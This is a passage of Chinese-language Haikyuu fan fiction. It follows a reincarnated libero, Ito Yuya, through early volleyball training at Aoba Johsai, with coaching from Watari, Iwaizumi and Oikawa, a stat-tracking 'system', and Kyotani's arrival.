伊藤有弥走在宫城县四月的夜风里,嘴角微微上扬。 那是一个很小的、几乎看不出来的笑容。 但它是真实的。 2. 第二章 2. 入部第三天,伊藤有弥发现了一件事。 青叶城西排球部的晨练从早上七点开始。 这意味着他必须在六点之前起床,才能在洗漱、吃早饭、通勤之后准时到达体育馆。 对于前世习惯了在凌晨两点睡觉、上午十点起床的漫画家来说,这无疑是最大的挑战。 但今天是第三天,他已经勉强适应了。 清晨六点四十五分,伊藤推开体育馆的门。 里面已经有几个人了。 金田一勇太郎正在做拉伸,他那头标志性的头发在晨光中显得格外蓬松——伊藤每次看到都会想起一种叫“韭菜”的蔬菜,但他绝对不会说出来。 金田一看上去性格很好,但伊藤不确定对方能不能接受这种玩笑。 国见英坐在场边,手里拿着一盒牛奶,表情像是还没睡醒。 他的眼睛半睁着,整个人散发着一种“不要跟我说话”的气场。 还有一个人。 渡亲治已经在场上了。 他穿着运动服,一个人在对墙接球。 排球砸在墙上的声音在空旷的体育馆里回荡,节奏稳定得像是节拍器。 伊藤换好衣服,走到场边开始热身。 他没有立刻加入渡的练习,而是先认真地做了二十分钟的拉伸。 前世的经验告诉他,自由人的身体承受的冲击力最大,不好好热身的话,轻则肌肉拉伤,重则影响整个赛季。 渡在接球的间隙看了伊藤一眼。 这个后辈给他留下的印象是“安静”。 非常安静。不说话,不发出多余的声音,连走路都几乎没有脚步声。 在球场上也是——伊藤接球的时候从不喊“我来”,只是默默地移动到球的位置,稳稳地把球接起来,然后回到自己的位置。 对于一个自由人来说,这未必是坏事。 但对于一个团队来说,太安静了也不是好事。 渡没有把自己的想法说出来。他只是继续对墙接球,把节奏从慢到快、从低到高,一点点地提升难度。 伊藤热完身,站了起来。 他犹豫了一下,走到渡旁边的墙边,拿了一颗球,也开始对墙接球。 两个人,一面墙,两颗球。 体育馆里回荡着交错的两个节奏。 伊藤的节奏比渡慢一些,但他的动作很干净。 每次球砸在墙上反弹回来,他的身体都会在毫厘之间调整到最佳位置,前臂形成一个平稳的平台,让球以最稳定的弧线弹回去。 渡的余光一直落在伊藤身上。 他在心里默默评估着这个后辈的水平。 优点很明显:接球动作扎实,脚步移动灵活,球感很好。 缺点也同样明显:力量不足,球速快的时候手臂会被弹开;身体素质一般,持续高强度移动后会出现明显的体力下滑。 总的来说,是一个有潜力、但还需要大量打磨的一年生。 渡收回了视线。 他不会轻易让出正选的位置。 不是因为自私,而是因为他相信自己的实力配得上那个位置。 如果有人要超越他,那个人必须比他更强。 而现在,伊藤还不够强。 晨练在七点五十分结束。 伊藤冲了个澡,换上校服,走进一年三班的教室时,第一节课的预备铃刚好响起。 他在座位上坐下,拿出课本。 同桌佐佐木看了他一眼。 “伊藤同学,你参加的是什么社团?” “排球部。” “诶——好厉害!是正选吗?” “不是。刚入部。” “这样啊。那你要加油哦!” “嗯。” 佐佐木似乎习惯了伊藤简短的回答,笑了笑,转回头去听课了。 伊藤看着黑板,脑子里却在回想今天晨练时的每一个接球。 他有十个球接得不够到位,三个球的落点判断出现了偏差,还有一个球因为手臂角度不对直接飞出了场外。 他在心里默默记下了这些失误,准备在今天的部活中重点修正。 这就是他的方式。 不打鸡血,不喊口号,只是安静地、持续地、一点一点地改进。 前世的经验告诉他,天赋无法改变,但技术可以打磨到极致。 下午四点,部活开始。 今天的内容是队内练习赛。 三年级的正选组成一队,一年级和二年级的替补组成另一队。 伊藤被安排在替补队的自由人位置。 这是他在青城排球部的第一场正式练习赛。 站在他对面的是及川彻、岩泉一、松川一静、花卷贵大、渡亲治和另一名三年级的副攻手。 一个几乎完整的青城最强阵容。 “一年级的,不用紧张哦。”及川站在网对面,笑着朝替补队这边挥手,“及川前辈会手下留情的。” “你别在那瞎说。”岩泉从后面踢了他一脚,“认真打。” 伊藤深吸了一口气。 他站在后排中央的位置,膝盖微屈,重心前倾,双手自然垂在身体两侧。 对面发球的是及川彻。 及川站在底线后,手里转着球。 他的动作看起来很轻松,但伊藤知道那只是表象。 及川的跳发球是宫城县最强级别的,球速快、旋转强、落点刁钻,即使在练习赛中也不会放水。 及川抛球。 助跑。 起跳。 挥臂。 球像一颗白色的炮弹飞过来,带着强烈的旋转,瞄准了替补队后排的边线位置。 伊藤动了。 他在及川触球的瞬间就已经开始移动。 不是靠反应速度——人的反应速度再快也跟不上及川的发球速度——而是靠预判。 他在及川起跳的那一刻观察了对方的肩膀角度、手臂摆动轨迹和击球点,在大脑里快速计算出了球的大致落点。 然后他跑了过去。 球砸在他前臂上的瞬间,他感受到了那股冲击力——比花卷的扣球重得多。他的手臂被弹开了一点,但他用身体的重心调整弥补了这个偏差。 球弹起来,飞向了场地的中央。 虽然弧线不够完美,但方向是对的。 替补队的二传手——一个二年级的男生——追上了球,托给了前排的主攻手。 扣球被岩泉拦了回来。 伊藤没有时间去想“我接起了及川的发球”这件事。 他已经开始移动了,朝着岩泉拦回来的球的方向。 球落在中场附近。 伊藤鱼跃扑出,手臂在地板上滑行了一段距离,将球兜了起来。 球高高飞起,落到了后排的边线附近。 虽然没有送到二传手的位置,但至少没有直接落地。 “好球!”替补队的二传手喊了一声。 伊藤从地上爬起来,拍了拍膝盖上的灰,回到自己的位置。 网对面,及川看着伊藤,眉毛微微挑了一下。 那个一年级生接起了他的跳发球。 虽然球的质量不算高,但确实接起来了,而且是在没有准备的情况下——作为替补队的自由人,伊藤应该是第一次面对及川的发球。 “有意思。”及川小声说。 岩泉也注意到了。他看了一眼及川,又看了一眼对面那个安静的一年级生,嘴角微微动了一下——那不是笑,但也不是面无表情。 比赛继续进行。 替补队实力悬殊,很快就丢了第一局。 但伊藤在场上的表现让所有人都注意到了他。 他的防守范围很大。 有些看起来明明是界外的球,他会追过去确认;有些看起来绝对接不到的球,他会飞身扑出去尝试。 他接起的球不一定都到位,但他几乎不会让球直接落地。 更重要的是,他从不放弃。 即使比分被拉开到十分以上,即使对面及川的扣球越来越刁钻,他的专注力始终没有下降。 每一个球,他都全力以赴地去追、去接、去救。 第二局中段,及川给岩泉传了一个高球。 岩泉起跳,手臂后拉,身体像一张拉满的弓。 他的扣球是力量型的代表,球速不一定最快,但冲击力绝对是最强的之一。 伊藤站在岩泉扣球线路的前方。 他看得很清楚。 岩泉的手臂角度、扣球点、身体朝向——所有的信息都在告诉他,这球会打向场地的左侧。 他移动了。 球砸在他的手腕上。 那一瞬间,他的整条手臂都在发麻。 岩泉的扣球力量超出了他的预期——前世他面对过最强的扣球手也只是大学联赛级别,而岩泉的力量即使在高中联赛中也属于顶级。 球弹了起来,飞向场外。 伊藤没有放弃。 他转身追了出去,在球即将落地的前一刻,用单手将球捞了回来。 球奇迹般地飞回了场内。 替补队的二传手冲过去,勉强将球托起。 扣球被松川拦下,球落在替补队的场内。 得分无效。 但全场安静了一瞬。 “喂喂喂,”花卷站在网前,瞪大眼睛看着伊藤,“那个球他都追到了?” “反应不错。”松川冷静地评价。 岩泉站在网对面,看着伊藤从地板上爬起来。 那个一年级的自由人正在揉自己的手腕,脸上没有什么表情,但耳朵尖微微泛红——可能是运动后的充血,也可能是因为全场的目光都集中在他身上。 岩泉在心里给伊藤加了一分。 比赛结束后,伊藤坐在场边喝水。 他的手臂上多了好几块红色的印记,右手腕因为接了岩泉那记重扣有些肿胀,膝盖也因为几次鱼跃擦破了皮。 但他没有觉得疼。 或者说,他太专注于比赛本身,根本没有注意到这些。 “伊藤。” 一个声音从头顶传来。 伊藤抬头,看到了渡。 渡在他旁边坐下来,手里也拿着一瓶水。 “你今天接了不少好球。”渡说。 “……谢谢。” “但是,”渡的语气没有变化,“你有几个球太冒险了。鱼跃救球看起来很帅,但如果你没有把球送到位,那和直接丢分没有区别。自由人的第一要务是让球回到二传手的手里,不是为了救球而救球。” 伊藤沉默了。 渡说的是对的。 有几个球他确实太拼了,把球救起来却没有送到位,结果队友只能勉强处理,最后还是丢了分。 “我知道了。”伊藤说。 渡看了他一眼,似乎在确认他是不是真的听进去了。 伊藤的表情很认真。 渡站了起来。 “明天晨练,我来给你做专门的接球训练。你的动作需要调整。” “……好。” 渡转身走了。 伊藤坐在场边,看着渡的背影。 渡亲治是一个很好的前辈。 他愿意指导后辈,但不会降低对后辈的要求;他会在训练中和伊藤竞争,但也会在场边指出伊藤的不足。 这正是伊藤需要的。 不是被照顾,不是被鼓励,而是被认真地当作一个对手来看待。 收拾场地的时候,金田一走到伊藤旁边。 “伊藤,你刚才接岩泉前辈那个球的时候,手腕没事吧?” 金田一的声音很大,带着一种天然的、毫不掩饰的关心。 “没、没事。”伊藤说,“就是有点麻。” “岩泉前辈的扣球真的很可怕啊。”金田一搓了搓自己的手臂,“我之前跟他一队的时候接过一次,整条手臂都肿了。” “嗯。” “对了,你初中是哪个学校的?” “仙台市立第一中学。” 金田一点了点头,没有表现出特别的反应。 仙台市立第一是一所普通的公立初中,排球部实力不算突出,在县内比赛中很少进入深轮次。 金田一大概只是随口一问,并没有继续追问下去。 “那你初中也打自由人?”金田一又问。 “嗯。”伊藤说,“打得不太好。进了高中想重新开始。” 这既是实话,也是巧妙的避重就轻。
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一个漂亮的鱼跃救球如果球没到位,和直接丢分没有本质区别。 伊藤在墙上画了一个标记,模拟二传手的高度和位置。 然后他一次次地把球砸向墙壁,接起反弹回来的球,尝试将球送到标记的位置。 一次。两次。三次。 不够好。再来。 球偏离了标记。再来。 球速太快,手臂弹开了。调整角度,再来。 伊藤擦了擦额头上的汗,继续。 体育馆的门被推开了。 岩泉走了进来。 他看到伊藤一个人在加练,脚步顿了一下,但没有说什么。 他走到场边,拿了一颗球,开始做自己的发球练习。 两个人,一个在球场这边,一个在球场那边,各练各的,谁也没有打扰谁。 过了大概二十分钟,岩泉停了下来。 他站在底线,看着伊藤的方向。 伊藤正在反复练习同一种球——左侧的斜线扣杀。 他接起球,送到标记位置,球偏了,他跑回去捡球,重新开始。 动作机械而专注。 岩泉看了一会儿,忽然开口了。 “你的右脚。” 伊藤停下来,转头看向岩泉。 “接左侧球的时候,你的右脚移动太慢了。先动左脚,再用右脚调整,这样会浪费零点几秒。”岩泉说,“你应该直接跨右脚,用身体侧面去对球。” 伊藤愣住了。 他站在原地,在脑子里模拟了一下岩泉说的动作。 然后他意识到,岩泉是对的。 “谢谢前辈。”伊藤说。 岩泉点了点头,转身继续练发球。 伊藤按照岩泉的方法重新开始练习。 右脚直接跨出,身体侧对球的方向,前臂形成一个更稳定的平台。 球砸上来,弹起,飞向标记的位置—— 比之前好了一些。 再来。 更好了一些。 再来。 伊藤的嘴角微微上扬。 他练到体育馆的自动灯熄灭,才收拾东西离开。 走在回家的路上,夜风吹干了他额头上的汗。 他的手臂还在隐隐作痛,膝盖上的擦伤在裤管摩擦下有些刺痛。 但他的心情很好。 不是因为系统发布了什么任务——系统今天一整天都没有出声。 也不是因为他在练习赛中表现突出——他还有很多不足。 而是因为他发现自己正在变好。 不是那种“突然开窍”的变好,而是那种每一天都比前一天进步一点的、缓慢但确凿的变好。 这种感觉,他已经很久很久没有体会过了。 回到公寓后,伊藤洗了个澡,坐在书桌前。 他拿出笔记本,开始记录今天的训练内容。 这是他前世的习惯——把每一次训练中遇到的问题、得到的建议、需要改进的地方都写下来。 这个方法很笨,但很有效。 文字能够帮助他把模糊的感觉变成具体的、可执行的目标。 他在本子上写道: “4月7日。晨练:对墙接球,送球到位率约70%。问题:球速快时手臂稳定性不足。” “练习赛:接起及川前辈跳发球1次,失误2次。接起岩泉前辈扣球1次,手臂承受力不足。” “岩泉前辈建议:接左侧球时直接跨右脚。” “明日目标:送球到位率提升至75%。” 写完这些,他又加了一行: “渡前辈说要给我做专门训练。要好好表现。” 他合上笔记本,躺在床上。 天花板上映着窗外路灯的光,模模糊糊的。 他闭上眼睛,脑海中浮现出今天在球场上的画面——及川的跳发球、岩泉的重扣、渡在场边看他的眼神、金田一笑着拍他肩膀的样子、国见那个若有若无的扫视。 还有他自己。 那个在空荡荡的体育馆里一遍遍重复同一个动作的自己。 前世,他曾经无数次问自己:为什么要打排球? 明明没有天赋,明明总是输,明明再怎么努力也追不上别人。为什么还要打? 他找不到答案。所以放弃了。 但现在,他似乎找到了一点头绪。 不是因为要赢,不是因为要证明什么。 只是因为,当球稳稳地接起来、送到二传手的手里、看着队友扣球得分的那一刻——他觉得自己在做一件正确的事情。 这种感觉,值得他用全部的努力去追寻。 伊藤翻了个身,把被子拉到下巴。 明天还有晨练。 要早起。 他闭上眼睛,很快就睡着了。 四月的夜风从窗缝里钻进来,吹动了书桌上笔记本的纸页。 纸页上密密麻麻的字迹在月光下安静地躺着,记录着一个少年重新开始的故事。 3. 第三章 3. 渡亲治的专门训练从晨练开始。 伊藤到体育馆的时候,渡已经站在场上了。 他没有做自己的训练,而是双手抱胸,靠在场边的墙上,看起来像是在等伊藤。 “换好衣服,过来。”渡说。 伊藤点了点头,以最快的速度换好衣服,站到了渡的面前。 渡上下打量了他一眼,然后从球筐里拿出一颗排球。 “昨天练习赛我看了你的接球,动作本身没有问题,但有几个坏习惯需要改。”渡把球在手里转了转,“首先,你接球的时候太安静了。” 伊藤愣了一下。 “你的意思是……要喊出来?” “不是喊。”渡说,“是呼吸。你接球的时候几乎不呼吸,整个人是绷着的。这样虽然能稳定动作,但会降低身体的柔韧性。自由人需要时刻保持身体的弹性,憋气会让你的反应变慢。” 伊藤回想了一下自己接球时的状态。 渡说得对——他确实会在球飞过来的瞬间屏住呼吸,整个身体绷紧,像一张拉满的弓。 这种做法虽然能让接球动作更稳定,但也会让他在连续防守时体力消耗更快。 “接球的瞬间要呼气。”渡说,“让身体放松,用手臂的弹性去吸收球的冲击力,而不是用肌肉去硬扛。” 渡把球抛向空中,轻轻扣了过来。 球速很慢,大概只有正式比赛的三成力度。 “接。” 伊藤移动到球的位置,在球接触手臂的瞬间,他尝试着呼出一口气。 球弹了起来,弧线比平时更高了一些,但方向有些偏。 “再来。”渡又扣了一球。 这一次伊藤注意了呼吸的节奏。球飞来的时候他吸气,球接触手臂的瞬间他呼气。球弹起来的弧线比刚才更稳,方向也更正了。 “对,就是这样。”渡说,“记住这个感觉。现在加快速度。” 渡的扣球速度逐渐提升。 从三成到五成,从五成到七成。 伊藤的呼吸节奏也在跟着调整——球速越快,他呼气的时间就越短,但始终保持着“触球即呼气”的节奏。 十个球之后,伊藤发现自己的手臂没有那么疼了。 不是因为球的冲击力变小了,而是因为他的身体不再用肌肉去硬扛,而是用整个身体的弹性去吸收冲击力。球砸在手臂上的声音也从沉闷的“砰”变成了清脆的“啪”。 “好。停下来。”渡说。 伊藤停下来,大口喘着气。 “你的基础动作不错,初中应该练得很扎实。”渡说,“但你有一个更大的问题。” 伊藤抬起头看着渡。 “你的防守范围太小了。”渡说,“昨天的练习赛我注意到,你只防守自己面前的那一块区域。球离开你面前两米以上,你就不怎么追了。” 伊藤沉默了。 渡说的对。 前世的他就有一个根深蒂固的习惯——只防守自己负责的区域,不去越界。 这是因为在大学队的时候,教练要求每个球员严守自己的防守区域,不允许随意越区防守,否则会造成防守体系的混乱。 但渡显然有不同的看法。 “自由人的任务不是守住一块区域。”渡说,“自由人的任务是守住整个后排。球落在哪里,你就要出现在哪里。没有什么‘我的区域’和‘你的区域’,所有落地的球都是你的责任。” 渡指了指球场。 “从现在开始,你的防守范围是整个球场。不管球飞到哪个角落,你都要去追。追不到是一回事,不去追是另一回事。” 伊藤点了点头。 他明白渡的意思。前世的他习惯了在体系内打球,做一个“合格”的自由人。但渡要的不是“合格”——渡要的是“极致”。 渡又从球筐里拿了一颗球。 “现在,我扣球,你接。我会故意把球打到不同的位置,你要做的就是在球落地之前接到它。” “好。” 渡扣球。 球飞向了场地的左前方,距离伊藤至少有四米。 伊藤冲了出去。 他的启动速度不算快,但步伐很大,三步就跨到了球的位置。 他鱼跃扑出,手臂前伸,在球即将落地的前一刻将它接了起来。 球弹起来,飞向场地的中央。弧线不高,但方向是对的。 渡点了点头,没有评价,又扣了一球。 这一次球飞向了右后方。 伊藤转身就跑。 他跑得很狼狈,几乎是用尽了全身的力气才在球落地之前赶到。 他用手臂将球兜起来,身体因为惯性撞在了墙上。 “继续。”渡说。 伊藤从地上爬起来,拍了拍身上的灰,回到场中央。 第三球。第四球。第五球。 每一球都比前一球更刁钻。 渡似乎在测试伊藤的极限——他把球扣到了各种不可思议的位置,有些甚至看起来像是故意往界外打的。 但伊藤每一个球都追了。 有些球他接到了,有些球他没有。 但不管接不接得到,他都在跑。 他跑到腿发软、肺发烫、眼前发黑,但他没有停下来。 渡扣了第二十个球的时候,伊藤终于没有跑动。 不是因为他不追了,而是因为他趴在地上,大口大口地喘气,双腿像是灌了铅一样沉重。 渡看着他,沉默了几秒钟。 “今天就到这里。”渡说。 伊藤趴在地上,连点头的力气都没有了。 渡走到他旁边,蹲下来。 “你的体力不够。”渡说,“以后每天晨练之前先跑三公里,部活结束之后再加跑三公里。” “……好。”伊藤的声音像是从喉咙里挤出来的。 渡站起来,转身走了两步,又停下来。 “你的底子不错。”渡说,没有回头,“比我想象的好。” 说完就走了。 伊藤趴在地上,看着渡的背影消失在更衣室的方向。 他不知道渡那句话是夸奖还是只是陈述事实。 但他知道一件事——渡今天给他的训练,比前世任何一个教练给他的都要苛刻。 而他要做的就是承受住这份苛刻。 因为只有承受住了,他才能变得更强。 晨练结束后,伊藤拖着沉重的双腿走进更衣室。 更衣室里已经有几个人了。金田一正在换衣服,看到伊藤进来,瞪大了眼睛。 “伊藤,你脸好红。” “……跑了很久。” “你加练了?” “嗯。” 金田一看了看伊藤的手臂,上面又多了几块新的红印。 他的表情变得有些复杂,像是想说什么又不知道该怎么开口。 “你……没事吧?” “没事。”伊藤说,打开自己的储物柜,拿出校服。 金田一挠了挠头,没有再问。 伊藤换好衣服,走出更衣室的时候,在走廊里遇到了及川。 及川正在和岩泉说着什么,看到伊藤出来,目光在他身上停了一下。 “哦——伊藤君。”及川笑着说,“听说今天渡给你开小灶了?” 伊藤没想到及川会知道这件事,愣了一下才点了点头。 “渡那家伙可是很严格的,”及川说,语气听起来像是在开玩笑,但眼神里有某种认真的东西,“他一般不主动教人。你能让他专门训练,说明他看好你。” “……”伊藤不知道该说什么。 “好好练。”及川拍了拍伊藤的肩膀,“及川前辈也很看好你哦。” “你少说两句。”岩泉从后面踢了及川一脚,然后看向伊藤,“昨天的建议,你试了吗?” “试了。”伊藤说,“效果很好。” “那就好。”岩泉点了点头,拖着还在喊“岩酱你好暴力”的及川走了。 伊藤站在原地,肩膀被及川拍过的地方还残留着一点温度。 他低下头,嘴角微微弯了一下,然后快步走向教室。 下午的部活,渡没有再给伊藤单独训练,而是让他直接参加队内的整体练习。 今天的练习内容是一传配合——二传手和自由人之间的连线训练。 及川站在网前,伊藤和渡轮流从后排接一传,然后传给及川,再由及川托给攻手。 这是伊藤最擅长的训练内容之一。 前世打了六年自由人,接一传、送球到二传手位置,这些动作他已经重复了成千上万次,几乎形成了肌肉记忆。 但及川不是他前世遇到过的那些二传手。 及川对一传的要求非常苛刻。 “伊藤君,球再高一寸。” “高了高了,低一点。” “太靠右了,往左十公分。” “再往前送半米。” 伊藤接一传的时候,及川几乎每次都会提出调整要求。 有些要求听起来像是吹毛求疵——十公分、半米,这种级别的误差在一般比赛中根本不会被注意到。 但及川在意。 因为及川的托球是精确到厘米级别的。 他需要一传在最合适的高度、最合适的位置落下来,才能发挥出他托球的最大威力。 伊藤一开始有些不适应。 前世的他习惯把球送到“大概”的位置,剩下的交给二传手去调整。 但及川不需要二传手去调整——及川要的是完美的一传。 “伊藤君,”及川在一次托球结束后叫住了他,“你知道吗,一传和托球之间有一种默契。” 伊藤看着及川。 “一传送得好,二传手可以省下一半的力气。一传送得不好,二传手就要花双倍的力气去调整。”及川说,“一个好的自由人,不仅要接起球,还要让二传手托得舒服。” “你的一传已经比大多数一年级好了,但离‘让二传手舒服’还有距离。” 伊藤垂下眼睛。 “我会继续练。” 及川笑了,那笑容里有种说不清的东西——像是对后辈的期待,又像是在伊藤身上看到了某个熟悉的影子。 “继续。” 训练继续。 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伊藤想了想,说:“因为想变强。” 国见看了他两秒钟,然后“哦”了一声,转身走了。 伊藤看着国见的背影消失在门口,然后回过头,继续对墙接球。 他不知道为什么,但国见那个“哦”让他觉得有点安心。 不是鼓励,不是关心,只是一种“我知道了”的确认。 对于伊藤来说,这样就够了。 伊藤练完接球,跑完三公里,回到家的时候已经是晚上八点了。 他洗了个澡,坐在书桌前,拿出笔记本。 “4月8日。晨练:渡前辈专门训练第一课。” “要点1:接球时呼气,保持身体弹性。” “要点2:防守范围是整个球场,不能只守自己的区域。” “体力不足是当前最大短板。以后每天晨练前跑3km,部活后跑3km。” “及川前辈对一传的要求非常精确。需要把送球误差控制在5cm以内。” “今日收获:接球动作比以前更轻松了。手臂疼痛减轻。” 他合上笔记本,躺在床上。 系统在他躺下的那一刻忽然出现了提示音。 “叮——日常任务完成度:100%。奖励已发放。” 伊藤愣了一下。 这是他穿越以来系统第一次主动提示任务完成和奖励发放。 他这才想起来,系统之前确实发布过一些日常任务——晨练、部活、加练,每个任务都有对应的经验值和属性点奖励。 但他一直没有去看任务面板,也没有在意奖励的内容。 “奖励是什么?”他问。 系统没有回答。 伊藤叹了口气,在脑海中打开了系统面板。 他看到了自己的五维数据: 速度:4(+0) 力量:2(+0) 跳跃:2(+0) 爆发力:3(+0) 智力:5(+0) 技术:4(+0.1) 技术从4变成了4.1。 0.1的提升,微乎其微,几乎可以忽略不计。 但伊藤盯着那个数字看了很久。 不是因为0.1的进步有什么值得高兴的,而是因为他意识到了一件事——这个系统的奖励机制,不是“赠送”而是“量化”。 他没有凭空获得任何东西。 技术0.1的提升,是他今天在渡的指导下修正了接球动作、在及川的要求下提高了送球精度之后自然产生的结果。 系统只是把这个结果用数字的形式告诉了他。 换句话说,系统不会帮他变强。 系统只是在记录他变强的过程。 伊藤关掉了系统面板。 他忽然觉得轻松了很多。 他本来担心系统会给他一些奇怪的技能或者速成的道具——那些东西虽然能让他在短时间内变强,但会让他觉得自己不是“真正的”强。 但现在他知道了。 系统的存在,只是为了给他一个“回家”的目标,而不是为了给他一条捷径。 变强这件事,还是要靠他自己。 伊藤闭上眼睛,很快就睡着了。 梦里,他站在一个很大的球场上,四周是明亮的灯光和震耳欲聋的欢呼声。 对面站着一个人,穿着日本国家队的队服,胸口的号码是—— 他没能看清。 因为他在看到那个号码之前就醒了。 窗外,天已经亮了。 又是新的一天。 伊藤从床上坐起来,揉了揉眼睛,然后开始换衣服。 今天也要跑三公里。 今天也要接一百个球。 今天也要比昨天更好一点点。 他穿上跑鞋,推开门,走进了宫城县四月的晨光里。 4. 第四章 4. 四月第二周,青叶城西高校排球部的新生适应性训练进入了第二阶段。 所谓第二阶段,用岩泉一的话来说就是“不再把一年级当客人了”。 前一周的训练中,三年级的队员对新生还保持着某种程度上的“客气”——扣球不会全力扣,发球不会全力发,连拦网都只是象征性地跳一跳。 但从这周开始,客气结束了。 “今天开始,所有训练内容与正选队员相同。”岩泉站在队伍前面,声音不大但每个字都像是钉子一样钉进每个人的耳朵里,“一年级的不适应就加练,加练还跟不上就自己想办法。青城不需要等着被喂的球员。” 伊藤站在一年级的队列里,感觉周围的空气都变紧了。 他旁边的金田一挺直了腰板,国见虽然还是一副没睡醒的样子,但眼神比平时锐利了一些。 其他几个一年级的新生也都露出了紧张的表情——他们终于意识到,青叶城西排球部不是来交朋友的地方。 “第一项,接发球训练。”岩泉说,“一年级的分两组,一组跟渡练接球,一组跟及川练一传配合。” 伊藤被分到了及川那一组。 站在及川面前接一传,对他来说既是机会也是挑战。 机会在于,及川对一传的要求极高,跟着他练能够快速提升送球的精度;挑战在于,及川这个人…… “伊藤君,又见面啦。”及川笑着说,语气听起来像是在便利店偶遇熟人,而不是在训练场上面对后辈,“今天也要好好接球哦,及川前辈会好好‘照顾’你的。” 那个“照顾”两个字被他咬得很重。 伊藤有一种不太好的预感。 事实证明,他的预感是对的。 “伊藤君,球再往前送一米。” “伊藤君,弧度太低,再高二十公分。” “伊藤君,这球偏右了五公分,往左调。” “伊藤君,球速太慢了,你的手臂太硬了,放松一点。” 及川的声音在体育馆里回荡,每一句话都像是在挑刺。 旁边的几个一年级新生听得脸色发白——他们庆幸自己没有被分到及川这一组。 但伊藤没有表现出任何情绪。 他只是安静地听着及川的每一条反馈,然后在下一球中尝试修正。 他的送球精度在一点点提高。 从偏差十五公分,到十公分,到五公分。 虽然离及川要求的“零偏差”还有距离,但进步的速度连旁边的松川都注意到了。 “那个一年级的,”松川对花卷说,“进步很快。” “嗯。”花卷说,“而且他不怕及川。” “谁不怕及川?”及川突然插嘴,转过头来看着两个人,“及川前辈这么温柔可亲,怎么会有人怕?” 松川和花卷同时沉默了。 伊藤站在后排,看着三个三年级的互动,嘴角不自觉地弯了一下。 他忽然想起前世看漫画时的一个细节——及川彻这个人,表面上轻浮自恋,实际上比任何人都更早地注意到队友的变化。 他在训练中不断“挑刺”,不是因为苛刻,而是因为他看到了伊藤的潜力,觉得值得花时间去打磨。 如果及川不看好一个人,他根本不会浪费口舌。 这是伊藤在前世读漫画时就理解的事情。 而现在,他亲身体会到了这一点。 接发球训练结束后,是扣球和拦网的轮换练习。 伊藤作为自由人,不参与扣球练习,而是和渡一起站在后排,专门接攻手们的扣球。 今天的扣球练习由岩泉带队。 他站在网前,一个一个地给攻手们托球——不是二传手的托球,而是简单的抛扣,目的是让攻手们调整扣球动作。 但对于后排的自由人来说,这就像是活靶子训练。 “下一个,金田一。”岩泉说。 金田一从助跑位置起跳,挥臂,扣球。 他的身高在一年级中是最突出的,扣球点很高,球落下来的角度很陡。 伊藤移动到球的落点,接了起来。 球弹起来的弧线很稳,方向也正。 “不错。”岩泉说了一句,不知道是在说金田一的扣球还是在说伊藤的接球。 金田一落地后,朝伊藤比了个大拇指。 伊藤微微点了点头,算是回应。 “下一个,国见。” 国见慢悠悠地走到助跑位置。 他的动作看起来完全不像是要扣球的样子——肩膀松松垮垮的,步伐也很随意,整个人散发着一种“我不想用力”的气息。 但当他起跳的那一刻,一切都变了。 国见的扣球动作非常干净。没有多余的力量,没有刻意的角度,只是最简单、最标准的扣球动作——挥臂、击球、压腕。球以一条极其锐利的直线飞向球场后方,落点精准地瞄准了底线和边线的夹角。 伊藤后退,后退,再后退。 他的脚后跟踩到了底线,身体后仰,手臂尽可能地向前伸。球砸在他的小臂上,弹起来,飞出了底线。 没能接起来。 伊藤回头看了一眼球的落点——球砸在了底线内侧不到十公分的位置。如果是正式比赛,这是一个好球。 “好球。”岩泉说。这次明显是在说国见。 国见面无表情地落地,走回队伍的最后面,继续他的“省电模式”。 伊藤看了国见一眼。 他前世就知道国见英这个人——技术细腻,头脑聪明,但不喜欢做无谓的体力消耗。 在原著中,国见被形容为“节能型”攻手,但伊藤现在亲身体会到,所谓的“节能”并不代表“弱”。 国见的扣球精度非常高,落点控制的能力在一年级中绝对是顶级的。 这样的人,如果全力以赴的话,会有多强? 伊藤不知道。但他觉得,国见大概也不会让任何人知道。 训练进行到一半的时候,体育馆的门被推开了。 进来的是一个伊藤没见过的男生。 他个子很高,比金田一还要高一点,肩膀很宽,穿着一件灰色的T恤,袖口卷到了肩膀上,露出结实的手臂。 他的脸棱角分明,表情看起来有点凶——不是那种“我在生气”的凶,而是那种“我天生就长这样”的凶。 京谷贤太郎。 伊藤的心跳快了一拍。 原著中,京谷贤太郎是青城二年级的超级问题儿童,被称为“小狂犬”。 他的攻击力极强,扣球的力量和角度都非常出色,但性格暴戾不羁,入部初期与队友之间存在严重的磨合问题。 在原著剧情中,京谷是在及川和岩泉的反复“调教”下才逐渐融入队伍的。 而按照时间线,京谷应该已经入部了——他是二年级,去年就加入了青城。 但伊藤在之前的训练中没有见过他。 “京谷。”岩泉的声音冷了下来,“你迟到了。” 京谷没有回答。 他走进体育馆,把书包往墙边一扔,开始换鞋。 动作很大,带着一种明显的不耐烦。 体育馆里的气氛变了。 三年级的老队员们似乎已经习惯了京谷的态度,表情没什么变化。 但一年级的几个新生都露出了不安的表情,连金田一都往伊藤这边靠了靠。 “京谷,过来训练。”及川说,语气听起来和平时没什么两样,但伊藤注意到他的笑容比平时淡了一些。 京谷换好鞋,走到场上。他没有做热身,直接走到扣球的位置,对岩泉说了一句:“给我托球。” 岩泉看了他一眼,没有说话,把球抛了起来。 京谷起跳。 他的起跳高度让伊藤吃了一惊。 金田一的扣球点已经很高了,但京谷的起跳高度明显在金田一之上——他的整个手掌都超过了网高,扣球点至少在3.3米以上。 然后他挥臂。 球像是被弹弓射出去一样,以惊人的速度砸向对面的球场。 球砸在地板上,弹起来,撞到了后面的墙上,发出“砰”的一声巨响。 全场安静了一瞬。 伊藤站在后排,看着那个球的落点。 如果他刚才站在那个位置去接这个球——他不知道自己能不能接起来。 不,不是“能不能”的问题,而是“手臂会不会断”的问题。 京谷的力量,比岩泉还要强。 “下一个。”京谷说,语气平淡,像是在说一件理所当然的事情。 岩泉又抛了一球。 京谷再次起跳,再次扣球。 这次的角度更刁钻,瞄准了底线的角落。 球砸在底线上,弹起来,飞向观众席。 “出界。”松川冷静地说。 京谷皱了一下眉头,但没有说话,走到队伍后面排队。 伊藤看着京谷的背影,脑子里在飞速运转。 他知道京谷后来会成长——在及川和岩泉的引导下,京谷会逐渐学会控制自己的情绪,成为一个真正强大的攻手。 但现在的京谷,显然还处于“刺头”阶段。 迟到、不热身、对前辈说话不客气、扣球只追求力量不追求精度——这些都是问题。 但伊藤也知道,京谷的问题不是态度问题,而是沟通问题。 他不是不想融入队伍,而是不知道怎么融入。 他的方式就是“用实力说话”——只要我的扣球够强,你们就得认可我。 这种方式在个人项目上可能行得通,但在排球这种六个人的运动中,行不通。 伊藤把这些想法压了下去。 这不是他该管的事情。 他只是一个一年级的新生,连正选都不是。 